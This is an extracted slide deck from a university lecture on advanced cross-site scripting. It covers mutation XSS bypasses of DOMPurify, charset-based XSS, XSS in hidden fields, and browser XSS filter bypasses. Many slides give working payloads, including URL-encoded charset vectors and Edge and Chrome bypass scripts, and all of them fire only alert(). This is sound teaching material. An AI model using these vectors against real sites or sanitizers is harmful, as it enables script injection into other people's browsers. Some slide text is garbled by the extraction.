Web & Browser Security
Chapter Four: Advanced XSS
This is the time where we cover
A lecture by Dr.-Ing. Mario Heiderich crazy stuff. Crazy.
mario@cure53.de || mario.heiderich@rub.de
Our Dear Lecturer
●
Dr.-Ing. Mario Heiderich
●
Ex-Researcher and now Lecturer, Ruhr-Uni Bochum
●
PhD Thesis about Client Side Security and Defense
●
Founder & Director of Cure53
●
Pentest- & Security-Firm located in Berlin
●
Security, Consulting, Workshops, Trainings
●
Ask for an internship if the force is string with you
●
Published Author and Speaker
●
Specialized on HTML5, DOM and SVG Security
●
JavaScript, XSS and Client Side Attacks
●
Maintains DOMPurify
●
A top notch JS-only Sanitizer, also, couple of other projects
●
Can be contacted but prefers not to be
●
mario@cure53.de
●
mario.heiderich@rub.de
Because why not
Act One
Advanced XSS
Why this topic?
●
XSS attacks can be very easy to carry out
●
But sometimes they require some dedication
●
Or, very specific knowledge about browsers and server behaviors
●
We want to now cover the parts where this is the case
●
Seemingly impossible XSS
●
Mutation XSS
●
Character Set XSS
●
Browser-specific Attacks
●
Before we do that, let’s look at the least advanced bit of XSS
●
Self XSS. Or, the two kinds thereof.
Before get started.
Earlier we talked about XSS.
Let's think about Self-XSS.
And one kind of CSRF.
And how we can abuse that.
Context
●
In this realm, context is usually everything
●
The browser and HTML offer many contexts
●
HTML & Attribute Context
●
URL Context
●
Script Context, lots of sub-contexts
●
Style Context
●
SVG & XML Contexts
●
MathML Context
●
Comments & Invalid Elements
●
And so on…
●
XSS Polyglots might help understanding this https://is.gd/q1fxtb
Can you break this allegedly unbreakable
top notch XSS filter?
http://is.gd/5Guj2N
Browser Heirloom & Weird Artifacts
●
Browsers often have to ship legacy features, compatibility is king
●
Now that leads to the actual fun part with XSS
●
Browser Artifacts and Legacy Leftovers
●
CSS Injections against Internet Explorer and old Opera
●
MHTML (http://is.gd/OYidbj), Other Non-Standard Features
●
Broken character sets and forbidden UTF-8 (http://is.gd/q6FZEf)
●
Avoid block-listing, cultivate allow-lists!
●
And don't you ever write your own XSS filter!
●
There's plenty of them out there – some even quite well built
●
HTMLPurifier, DOMPurify, OWASP’s Library, SafeHTML, MS’ AntiXSS Library
●
XSS Cheat Sheet, HTML5 Security Cheatsheet show possible bypasses
From https://www.enterpriseappstoday.com/stats/internet-explorer-statistics.html
Not so basic anymore
●
Ancient features, IE-only, HTML+Time
●
10+ obfuscation tricks at once
●
http://is.gd/HMu0hQ
●
MSIE8 only - killed in IE9
●
Even in old document modes
1;--<?f><l ￦ :!!:x\/r\oIv1600\h56;c5x#&b`=elyts/
\=µb5x#& =nigebno/￦`';'/ö\)2emit#tlu16x#&fed#(lru: ĸ
>\ŧyx#&/f2x#&d5x#&)13x#&04#&t411#&el1;450#&00u
Document Modes? What's that?
●
Browsers tend to render HTML pages in different document modes
●
Depending on page characteristics, the proper “docmode” is chosen
●
Depending on the selected docmode, things change, old bugs come
back
●
Now here's the good news for attackers
●
We can set the document mode with HTML or HTTP headers
●
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7" />
●
Docmode can even be changed across domains
●
With Docmode/Frame-Inheritance! http://is.gd/phgJeA
●
Reminds of the good old „Charset Inheritance“ https://is.gd/RF3RhD
●
This can have horrible consequences for website. More later!
Liberating Legacy Vectors
●
We can for example bring back deprecated features like CSS
Expressions!
●
They are still present in MSIE8 to MSIE10 – MSIE11 killed them though
●
Well – usually we can – not always... <!doctype html> kills them too!
●
We get access to a very large amount of old features
●
Several default behaviors http://is.gd/cg7aWp
●
CSS expressions, mentioned already
●
XML Data Reduced http://is.gd/OPm619
●
WD-XSL and other XSL Quirks http://is.gd/wDytFJ
●
CSS Filters in IE8 docmode, Vector Markup Language
●
VBS in IE11, Different parser and DOM features
●
Very useful for XSS attacks if standard injections don't work
●
So – avoid being framed and the usage of HTML4 doctypes!
Yay!
Eight or Five? DEMO
●
As we could see, there seems to be a problem
●
Sometimes, the docmode isn't set to what we expect
●
This has a reason, the docmode is influenced by the doctype.
●
<!doctype html> fixates the docmode in a certain way
●
We cannot easily go below docmode 8
●
That can sometimes be rather unfortunate, often we only need
document mode 8 – but what if we need docmode 5?
●
Well, there is several ways to get around that limitation
●
One is of technical nature, one involved a bit of Social Engineering
●
Both are… awkward in their own ways. Let's have a closer look!
Questions
1)What are docmodes and what are they for?
2)Do older docmodes bring all bugs back?
3)What other modes exist besides docmodes?
Mutations in the DOM: mXSS
●
This attack is basically a nightmare come true.
Browsers turned against webapps.
●
Imagine, the browser turns harmless HTML into a dangerous attack vectors.
●
The server will assume sane markup and no risk
●
This issue indeed exists, first reported in 2006
●
„Broken Print-Preview“ http://is.gd/fLVScq
●
String-Mutation in certain DOM properties
●
Back then, affected applications and libraries:
●
2+ Million libraries according to Github
●
6+ vector classes, affect webmailers, everyone with a RTE
●
Yahoo! Mail, OWA, Hotmail, Sharepoint, etc.
Yay!
●
And DOMPurify of course, massively so
DEMO
●
Let's have a closer look at this!
Or, to be more clear
●
Attacker submits HTML
●
Server receives it to sanitize
●
Says, that looks safe, all fine
●
Sends it back to browser
●
Browser receives HTML
●
Renders it initially, all fine
●
Some DOM logic fiddles with it
●
Browser re-renders, HTML mutates
●
Injected JavaScript activates and fires
Mutation Examples
●
Let’s fire up the innerHTML Test Tool
●
You can find it here https://html5sec.org/innerhtml/
●
And play with Attributes
●
Inline CSS
●
Unknown Elements
●
Invalid Elements
●
Double Parsing Bugs
●
This is a much better tool though
Yay!
●
https://software.hixie.ch/utilities/js/live-dom-viewer/
DEMO
●
And even better, the gold standard
●
https://livedom.bentkowski.info/
Newer Variations
Both vectors identified and
published by Gareth Heyes
<%/z=%><p/onresize=alert(1)//>
<div='/x='><iframe/
onload=alert(1)>>
Other Browsers
Firefox cannot be trusted with innerHTML and SVG
<script>
document.write('<svg><p><style><img
src="</style><img src=x
onerror=alert(1)//">')
</script>
Chrome cannot be trusted with Unicode
(sadly fixed in Chrome 62)
<a href=　javascript:alert(1)>CLICK
Other Browsers
Chrome recently fixed another mXSS problem
<math><annotation-xml
encoding="text/html"><xmp></xmp><img
src=x onerror=alert(1)></xmp></annotation-
xml></math>
Other Browsers
Chrome recently fixed another mXSS problem
<math><annotation-xml
encoding="text/html"><xmp></xmp><img
src=x onerror=alert(1)></xmp></annotation-
xml></math>
Other Browsers
Chrome recently fixed another mXSS problem
<math><annotation-xml
encoding="text/html"><xmp></xmp><img src=x
onerror=alert(1)></xmp></annotation-xml>
</math>
Modern Examples
●
Only a short while ago, a new mXSS Pattern was found
●
It did affect DOMPurify and we fixed it
●
It only if the <noscript> tag was permitted
●
Which was and is not the case by default
●
It was a rather surprising one and novel at the time
●
It only makes sense if we understand client-side
sanitization
<noscript>
<p title="</noscript><img src=x
onerror=alert(1)>">
JavaScript is off. At least “inside”,
inside the Sanitizer document Why?
Because we parse using DOMParser.
No JavaScript.
DOMPurify thinks “okay, all good.”
<noscript>
<p title="</noscript><img src=x
onerror=alert(1)>">
</noscript>
“All good” because… all bad stuff is
locked inside an attribute!
<noscript>
<p title="</noscript><img src=x
onerror=alert(1)>">
</noscript>
However later, in the browser,
JavaScript is ofc active! Otherwise
we wouldn’t need our sanitizer in
the first place.
So, everything changes. Oh dear!
<noscript>
<p title="</noscript><img src=x
onerror=alert(1)>">
Check out the video!
https://is.gd/oRNBLZ
And all the code!
https://is.gd/SdP0SK
But it’s gonna get worse.
●
In autumn 2019, it seems, an mXSS season began
●
DOMPurify was being bypassed several times in a row
●
First bypass was spotted by Michał Bentkowski
●
Then, several other ones “internally” discovered, by Masato
●
There was two different root causes back then
●
Predictable Changes in markup-type force a change of
parser ^ Type as in HTML, SVG, etc.
●
Unpredictable Changes in markup-type force a change of
parser
mXSS Root-Cause Number One
●
Predictable Changes in markup-type force a
change of parser
●
Browser first thinks it’s XML, then oh, it’s HTML
●
Once the browser re-decides, ofc, other rules apply
●
This is especially for Style-Elements
●
And because of that, we get a bypass! mXSS.
<svg></p><style>
<a id="</style><img src=1
onerror=alert(1)>">
So, here we have a broken P
element. The browser will likely just
remove it, no?
<svg></p><style>
<a id="</style><img src=1
onerror=alert(1)>">
Not true. Chrome for example repaired
the element. And that lead to changing
the parser. Boom, mXSS.
<svg><p></p><style>
<a id="</style><img src=1
onerror=alert(1)>">
mXSS Root-Cause Number Two
●
Unpredictable Changes in markup-type force a
change of parser
●
Browser first thinks it’s XML or maybe HTML
●
Then, an element gets removed!
●
Element content stays, which is often the case
●
The browser gets, well, „confused“
●
And that causes a bypass to happen, boom. mXSS.
<noembed><svg><b><style><b
title='</style><img src=x
onerror=alert(1)>'>
<noembed><svg><b><style><b
title='</style><img src=x
onerror=alert(1)>'>
This element needs to go but
its content needs to stay.
<noembed><svg><b><style><b
title='</style><img src=x
onerror=alert(1)>'>
Ooops, this changes the type.
From CDATA to actual XML!
<noembed><svg><b><style><b
title='</style><img src=x
onerror=alert(1)>'>
<noembed><svg></svg><b></b>
<style><b
title='</style><img src=x
onerror=alert(1)>'>
Oh, FFS...
We thought we had it!
●
After some time of fixing DOMPurify. We
thought we figured it out
●
We assumed the problem is understood, solved
and we can move on
●
We were wrong.
●
Check this out! https://is.gd/UxQSy9
<math><mtext><a
title='one'><audio>aa<altglyphdef>
<animatecolor><filter><fieldset><a
title='two'></fieldset>ccd</a>gg<mgl
yph><svg><mtext><style> <a
title='</style><img src=#
onerror=alert(1)>'>
Mutations are here to stay
●
We can observe that mutations cannot be avoided
●
Problem one: Capability changes
●
Noscript, Noembed and the likes
●
Problem two: Context changes
●
From SVG to HTML and back, MathML
●
Problem three: Node Removals
●
Forcing the above using node removal
●
These problems are hard to tackle and will likely
accompany us until we have something better than HTML
Do what now?
●
There are a bunch of things we can get done
●
Some of them are of tactical, others of strategic nature
●
From a tactical point of view
●
We can build better sanitizers for developers to use
●
We try to navigate around everything SVG, MathML, XML-ish
●
We try to navigate around user-controlled CSS, but that’s prio 2
●
From a strategic point of view
●
We get the sanitizer to be inside the browser
●
We rewrite the standards, including HTML
●
Or, we change jobs and become a gardener
And who’s gonna do all that?
●
Well, us, no?
●
From a tactical point of view
●
Enhance DOMPurify and harden it further
●
Note that we are “hyper-tolerant by default”
●
From a strategic point of view
●
Sanitization has meanwhile arrived in the browser
●
The standards have been adjusted here and there
●
HTML will likely change soon, things point that direction
●
The level of awareness is growing. Folks now want to fix this.
Let‘s have look here
●
Back then, 2016, first attempt
●
https://www.youtube.com/watch?v=KIRvxYqk_Wc
●
Then here, 2018, Schloss Dagstuhl
●
https://www.dagstuhl.de/en/program/calendar/semhp/?s
emnr=18321
●
And now, 2021, finally!
●
https://wicg.github.io/sanitizer-api/
Next Steps
●
Keep maintaining JavaScript based sanitizers
●
Things could be worse, protection levels are quite good
●
Keep pushing development of Browser-based sanitizers
●
Things are in motion, first implementations in FF and Chrome!
●
Keep exploring the mXSS attack surface
●
Good starting point? Jsdom! („oh dear...“)
●
And piece by piece get closer to be able to handle Markup
securely, despite weird HTML, SVG & MathML Cocktails
Hold on!
https://twitter.com/cure53berlin/status/1540311373070176259
AngularJS mXSS Corner Case
●
In recent AngularJS versions, we can observe an interesting mXSS corner
case
●
This time it's based on unsafe handling of document.createComment()
<!doctype html>
<html ng-app>
<head>
<script src="angular.min.js"></script>
</head>
<body>
<b class="ng-include:'somefile?--
><svg/onload=alert(1)>'">HELLO</b>
<button onclick="body.innerHTML+=1">do the mXSS
thing</button>
</body>
Questions
1)How can we be safe from mXSS?
2)SVG inside HTML, was that good idea?
3)What if we cannot execute JavaScript?
Character Set XSS
●
“Charset XSS” is one of the least illuminated areas in this whole
field
●
There is many charsets out there, some recent, some legacy. Some
broken, some sane
●
Some are ready for the web, some are not!
●
Charset XSS is mostly based on two different premises
●
Premise one: Generate Characters from different characters
●
Premise two: Consume characters and make room for different characters
●
Charset XSS assumes a vulnerable charset is present on a website
●
Or assumes that we can somehow set the charset to what we need
●
But, why do we even have multiple charsets?
How to set a charset?
●
As mentioned, there's several ways to set a website to be rendered in a
certain charset.
●
Most prominent way? The HTTP header, content-type suffix.
●
Content-Type: text/html; charset=utf-8
●
And META Tags, two of them
●
<meta http-equiv=Content-Type content=text/html;charset=utf-8>
●
<meta charset=UTF-8>
●
We can also define the charset for script tags
●
http://www.w3schools.com/tags/att_script_charset.asp
●
But who wins if several ways of declaring a charset are present?
Who has precedence? And what if no valid charset is present?
Well, no one really knows
●
In the early days this was very unclear
●
So browser vendors just implemented whatever came to mind
●
But before we dive into that, let's have a look at interesting charsets
●
And see charsets that are not really charsets after all! Like BOCU,
SCSU and others.
●
We will cover the following:
●
EBCDIC, CP37 and CP875 http://is.gd/8VqH1w
●
ISO-2022-JP and ISO-2022-KR http://is.gd/jC5XJ4
●
HZ-GB-3212 http://is.gd/RE0iv4
●
UTF-7 (at least a bit) http://is.gd/nPk0sy
●
BOCU and SCSU http://is.gd/8kLfvs
Example Charset Vectors
●
CP875 ●
ISO-2022-JP ●
ISO-2022-KR
<img src="x"
L¢ƒ™‰—£n“… <img src="x" alt="a
alt="$B(Bonerr
栒♥숀씸訣팁膽抉 ?
™£Mñ]La¢ƒ™‰—£n or=alert(1)//"
퐸 "onerror=alert(1)
>
//</p>
●
UTF-7 ●
BOCU ●
HZ
+ADw-script+AD4-
alert(+ACc- <img src="x"
ó¹Àı¼µÂÄx
alt="⒕ 拣韭塘屏优碳
xss+ACc-)+ADw- yó¹ÀÄ 炯
+AC8-script+AD4- 鹁 "onerror=alert(1)/
/
Practical Examples
●
ISO-2022-JP
●
%3Cimg%20src%3D%22x%22%20alt%3D%22%1B%24B%1D%03%1B%28Bonerror%3Dalert
%281%29//%22%3E
●
%1B%24B%01%1D%1B%28Bimg%20src%3D%22x%22%20onerror%3D%22alert
%281%29%22%1B%24B%01%1F%1B%28B
●
CP875
●
L%A2%83%99%89%97%A3n%81%93%85%99%A3M%F1%5DLa%A2%83%99%89%97%A3n
●
HZ-GB2312
●
%3Cdiv%3E%3Cimg src="x" alt="~{xx">%3Cp>BLAFASEL%3C/p%3E%3Cp
%3E~}"onerror=alert(1)//%3Cp%3E
●
ISO-2022-KR
●
%3Cdiv%3E%3Cimg src="x" alt="%0exx">%3Cp%3EBLAFASEL%3C/p%3E%3Cp%3E
%0F"onerror=alert(1)//%3Cp%3E
●
BOCU
●
%8C%C3%B3%C2%B9%C0%C4%8E%B1%BC%B5%C2%C4x%81y%8C%7F
%C3%B3%C2%B9%C0%C4%8E
Injection Scenarios
●
ISO-2022-JP
●
<img src="x" alt="$B(Bonerror=alert(1)//">
– %3Cimg%20src%3D%22x%22%20alt%3D%22%1B%24B%1D%03%1B%28Bonerror
%3Dalert%281%29//%22%3E
●
$B(Bimg src="x" onerror="alert(1)"$B(B
– %1B%24B%01%1D%1B%28Bimg%20src%3D%22x%22%20onerror%3D%22alert
%281%29%22%1B%24B%01%1F%1B%28B
●
HZ-GB2312
●
<img src="bla" alt=" %INJECTION1% ">Blafasel %INJECTION2%
●
<img src="x" alt="⒕ 拣韭塘屏优碳炯鹁 "onerror=alert(1)//
●
ISO-2022-KR
●
<img src="bla" alt=" %INJECTION1% ">Blafasel %INJECTION2%
●
<div><img src="x" alt="a 栒♥숀씸訣팁膽抉 ?
퐸 "onerror=alert(1)//
ISO-2022-JP
●
Break out Attributes
●
<img src="x" alt="$B(Bonerror=alert(1)//">
●
%3Cimg%20src%3D%22x%22%20alt%3D%22%1B%24B%1D
%03%1B%28Bonerror%3Dalert%281%29//%22%3E
●
Create HTML Characters
●
$B(Bimg src="x" onerror="alert(1)"$B(B
●
%1B%24B%01%1D%1B%28Bimg%20src%3D%22x
%22%20onerror%3D%22alert%281%29%22%1B%24B
%01%1F%1B%28B
CP875
●
Create HTML Characters
●
<!-- Canonical -->
●
L¢ƒ™‰—£n“…™£Mñ]La¢ƒ™‰—£n
●
<!-- URL Encoded -->
●
L%A2%83%99%89%97%A3n%81%93%85%99%A3M%F1%5DLa
%A2%83%99%89%97%A3n
HZ / HZ-GB2312
●
We need two injection points here
●
<html>
<img src="bla" alt=" %INJECTION1% ">
<p>Blafasel %INJECTION2%</p>
●
<div><img src="x" alt="~{">
<p>BLAFASEL</p>
<p>~}"onerror=alert(1)//<p>
●
<div><img src="x" alt="⒕ 拣韭塘屏优碳炯
鹁 "onerror=alert(1)//<p>
Questions
1)Why are there invisible characters?
2)What does the sequence ESC ( B mean?
3)What are the risks connected to such a thing?
Real Life Charset XSS Issues
●
A series of XSS challenges used Charset XSS
●
Luckily, we document them
●
Challenge One: http://is.gd/6hkWVK
●
Challenge Two: http://is.gd/w0hQxy
●
They show very much, how we can use those in the wild
●
One key feature is still Charset Sniffing https://is.gd/fKgz45
●
Rule of thumb:
●
No charset header set? Charset XSS
●
Invalid charset header set? Charset XSS
●
Once we have Charset XSS, the attacker can bypass
●
strip_tags()
●
htmlspecialchars()
●
htmlentities()
Questions
1)What is Charset XSS, in your own words?
2)What is the root cause, not the trigger?
3)Where is this attack most popular?
XSS from Passive Elements
●
Often, we can inject but we need user interaction
for the attack to work
●
You can inject attributes into a <div>
●
Or inject into an element that isn't even visible
●
This can be a click or a hover or sometimes more unlikely things
●
Annoying! And lowers the criticality of our bugs!
●
We asked ourselves – is this limitation real?
●
Can we not find ways to get around that and trigger JavaScript
execution from any element?
Yay!
●
Of course we can. Let's have a look! DEMO
●
http://html5sec.org/#145
●
But XSS from disabled elements? Now way it seems!
Yay!
HTML and its Edit-Modes DEMO
●
In MSIE's early days, an HTML editor mode was
introduced
●
Several ways exist to activate Edit-Modes
●
And different Edit-Modes have different
implications!
●
<div contenteditable=true>
●
<script>document.designMode = 'On';
●
<script>document.execCommand('EditMode',1,1)
●
<style>*{user-modify:read-write
●
<style>*{user-input:enabled
●
<math><maction actiontype="input">
●
Would that affect an attacker? Let’s check it out!
<div contenteditable>
<a href="javascript:alert(1)">
Meeeeh
</a>
</div>
<div contenteditable>
<a contenteditable=false
href="javascript:alert(1)">
Oh boy!
</a>
</div>
XSS in Hidden Fields: Exploitable?
●
Many people have been wondering about this in the past
●
There was many techniques in the past
●
Using CSS and content:'abc' in Opera
●
Using content:url() and onerror in legacy Opera
●
Using -moz-binding in FF2-3
●
Using onformchange and onforminput in Opera
●
Using CSS Expressions – not new at all
●
But meanwhile all known techniques are fixed!
●
And even the CSS expression trick won't work in IE11 Yay!
DEMO
●
So XSS in hidden fields is worthless?
●
Well, Of course we don't agree here.
<form action='submit.php'>
<input type='hidden' name='t'
value=''style='behavior:url(?)'onread
ystatechange='alert(1)'>
<input type='submit'>
</body>
See https://is.gd/YqdkOk
<input onfocus="alert(1)" 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73
74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109
110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139
140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169
170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199
200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229
230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259
260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289
290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319
320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349
350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379
380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409
410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439
440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469
470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499
500 501 502 503 504 505 506 507 508 509 510 511 512 513 514 515 516 517 518 519 520 521 522 523 524 525 526 527 528 529
530 531 532 533 534 535 536 537 538 539 540 541 542 543 544 545 546 547 548 549 550 551 552 553 554 555 556 557 558 559
560 561 562 563 564 565 566 567 568 569 570 571 572 573 574 575 576 577 578 579 580 581 582 583 584 585 586 587 588 589
590 591 592 593 594 595 596 597 598 599 600 601 602 603 604 605 606 607 608 609 610 611 612 613 614 615 616 617 618 619
620 621 622 623 624 625 626 627 628 629 630 631 632 633 634 635 636 637 638 639 640 641 642 643 644 645 646 647 648 649
650 651 652 653 654 655 656 657 658 659 660 661 662 663 664 665 666 667 668 669 670 671 672 673 674 675 676 677 678 679
680 681 682 683 684 685 686 687 688 689 690 691 692 693 694 695 696 697 698 699 700 701 702 703 704 705 706 707 708 709
710 711 712 713 714 715 716 717 718 719 720 721 722 723 724 725 726 727 728 729 730 731 732 733 734 735 736 737 738 739
740 741 742 743 744 745 746 747 748 749 750 751 752 753 754 755 756 757 758 759 760 761 762 763 764 765 766 767 768 769
770 771 772 773 774 775 776 777 778 779 780 781 782 783 784 785 786 787 788 789 790 791 792 793 794 795 796 797 798 799
800 801 802 803 804 805 806 807 808 809 810 811 812 813 814 815 816 817 818 819 820 821 822 823 824 825 826 827 828 829
830 831 832 833 834 835 836 837 838 839 840 841 842 843 844 845 846 847 848 849 850 851 852 853 854 855 856 857 858 859
860 861 862 863 864 865 866 867 868 869 870 871 872 873 874 875 876 877 878 879 880 881 882 883 884 885 886 887 888 889
890 891 892 893 894 895 896 897 898 899 900 901 902 903 904 905 906 907 908 909 910 911 912 913 914 915 916 917 918 919
920 921 922 923 924 925 926 927 928 929 930 931 932 933 934 935 936 937 938 939 940 941 942 943 944 945 946 947 948 949
950 951 952 953 954 955 956 957 958 959 960 961 962 963 964 965 966 967 968 969 970 971 972 973 974 975 976 977 978 979
980 981 982 983 984 985 986 987 988 989 990 991 992 993 994 995 996 997 998 999 1000 1001 1002 1003 1004 1005 1006 1007
1008 1009 1010 1011 1012 1013 1014 1015 1016 1017 1018 1019 1020 1021 type="hidden">
This was fixed but it was sooo pretty...
Hidden places for hidden XSS
●
This new HTML feature enables new XSS
●
Popover API
●
http://tinyurl.com/ynr869vn
●
Proof of Concept:
<button popovertarget=x>Click me</button>
<input type="hidden" value="y" popover id=x
onbeforetoggle=alert(1)>
Basic XSS Filter Bypasses
●
Here's the good old filter rules:
●
http://pastebin.com/XGARa3vF
●
We could bypass the filter using links and forms
●
But that was fixed, here's the fix for the “formaction”-bypass:
●
{<OPTION[ /+\t].*?va{l}ue[ /+\t]*=}
●
{<TEXTA{R}EA[ /+\t>]}
●
{<BUTTON[ /+\t].*?va{l}ue[ /+\t]*=}
●
{<INPUT[ /+\t].*?va{l}ue[ /+\t]*=}
●
Notice something? Something was forgotten.
●
Should we have a look?
Single Parameter Bypass for MSIE
<a+folder="jav
%26bx41%3Bscript:alert(1)"+style="beh
avior:url%26bx28%3B%23default
%23AnchorClick)"s:>Click&v%0Ab%0As
%0A:\&v%0A%0Ab%0A%0A%0A%0A%0As:\
This got fixed in MSIE11 though
Here is a better one!
?xss=<?PXML><html:script>alert(1)
</html:script>
This works in MSIE11, IE9 docmode
Universal Bypass for Edge
<script>
function bypass(){
var win = window.open("redir.php?url=https://html5sec.org/");
var ifr = win.document.createElement("iframe");
win.document.appendChild(ifr);
win[0].opener = win;
win[0].setTimeout("alert('One moment please...');" +
"opener.location='https://html5sec.org/xss.php?xss=" +
"<iframe onload=alert(1)>'");
}
</script>
<button onclick="bypass()">Bypass me!</button>
Sadly got fixed in latest Tech Previews
Here is a better one!
<iframe></iframe>
<script>
var vulnUrl = 'https://html5sec.org/xss.php?xss=';
var vulnUrlWithIframe = vulnUrl + "<iframe></iframe>";
var vulnUrlWidhScript = vulnUrl +
"<script>alert(document.domain);<\/script>";
document.getElementsByTagName("iFrame")[0].onload = function()
{
window[0][0].location = vulnUrlWidhScript;
}
window[0].location = vulnUrlWithIframe;
</script>
Now how about Chrome?
●
With Chrome it has become complicated
●
They really fix quickly and efficiently
●
There is almost no generic bypasses left
●
Well, this one might come in handy
●
?xss="><iframe%20src="javascript:alert(1)%3%0DB
%3%0AC!--%0D
●
But be aware of its limitations, let’s look at the test-
bed together!
●
<p>Hello, <?php echo $_GET['xss']; ?>
<p class=""></p>
More XSS Filter Bypass Techniques
●
Masato compiled a collection of bypass techniques
●
These needs some stars to be aligned, but at least one
pair of stars usually is!
●
Like, character transformation, escaping, stripping etc.
●
Let’s have a look!
●
https://is.gd/5nFScw
●
https://is.gd/NyhiS4
Questions
●
1)XSS Filters are gone. Good riddance?
●
2)How could they have gotten better?
●
3)What else could the browser do?
Hands-On Time!
●
Advanced XSS? Let’s now use our knowledge
to bypass more restrictive filters
●
https://is.gd/w9AdK1
●
https://is.gd/YCm3CG
●
15 minutes time for each exercise
Chapter Four: Done
●
Thanks a lot!
●
Soon, more.
●
Any questions? Ping me.
●
mario@cure53.de
